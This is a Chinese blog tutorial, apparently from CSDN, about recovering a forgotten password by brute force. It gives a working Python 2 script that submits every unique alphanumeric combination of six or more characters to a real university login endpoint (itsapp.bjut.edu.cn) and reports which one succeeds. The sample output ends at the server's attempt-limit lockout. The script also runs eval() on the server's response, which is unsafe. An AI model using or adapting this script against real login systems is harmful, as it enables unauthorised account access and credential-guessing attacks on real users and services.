【Python】忘记登录密码?遍历数字字母组合密码+模拟提交表单

准备

忘记了密码?试一试暴力破解吧

打开F12,填写用户名、密码后,点击登录,看到请求头信息、提交的表单信息,例如下图:
在这里插入图片描述
也可以看到此次登录请求发送到的 url:
在这里插入图片描述

也可以看到此次请求返回的结果:
在这里插入图片描述

遍历数字字母组合密码

根据以上,可以用Python伪造请求,遍历所有密码(注意多数网站会有尝试次数限制…)
(以下代码遍历的是所有不重复的字符组合,比如不会尝试111222这样的密码,此处待改进)

# -*- coding: utf-8 -*-
import cookielib
import urllib
import urllib2
from itertools import combinations

USERNAME = '这里填写用户名'


def submit_form(username, password):
    cj = cookielib.CookieJar()
    # 模拟 post 的表单数据
    post_data = urllib.urlencode({'username': username, 'password': password})
    # 登录请求发送到的 url
    path = 'https://itsapp.bjut.edu.cn/uc/wap/login/check'
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    opener.addheaders = [('User-agent', 'Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101 Firefox/20.0')]
    urllib2.install_opener(opener)
    req = urllib2.Request(path, post_data)
    conn = urllib2.urlopen(req)

    json_data = urllib2.urlopen(req).read()
    json_last = eval(json_data)
    print urllib2.urlopen(req).read()

    result_code = json_last["e"]
    if result_code == 0:
        print ('破解成功!密码是:' + password)
    else:
        print ('密码错误,当前测试:' + password)


def gen_password():
    list1 = ['1', '2', '3', '4', '5', '6', '7', '8', '9',
             'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
             'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
    for i in range(6, len(list1)):  # 6位以上不重复字符密码组合
        combine(list1, i)


def combine(temp_list, n):
    '''根据n获得列表中的所有可能组合(n个元素为一组)'''
    # temp_list2 = []
    for c in combinations(temp_list, n):
        pwd_str = ''.join(c)
        print pwd_str
        submit_form(USERNAME, pwd_str)


if __name__ == "__main__":
    gen_password()

输出结果:

123456
{"e":1,"m":"账号或密码错误","d":{}}
密码错误,当前测试:123456
123457
{"e":1,"m":"账号或密码错误","d":{}}
密码错误,当前测试:123457
123458
{"e":10016,"m":"错误次数已达最大上限,请稍后再试","d":{}}
密码错误,当前测试:123458
123459
{"e":10016,"m":"错误次数已达最大上限,请稍后再试","d":{}}
密码错误,当前测试:123459
12345a
{"e":10016,"m":"错误次数已达最大上限,请稍后再试","d":{}}
密码错误,当前测试:12345a
12345b

尝试的密码组合示例如下:

123456
123457
123458
123459
12345a
12345b
12345c
12345d
12345e
12345f
12345g
12345h
12345i
12345j
12345k
12345l
12345m
12345n
12345o
12345p
12345q
12345r
12345s
...
  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值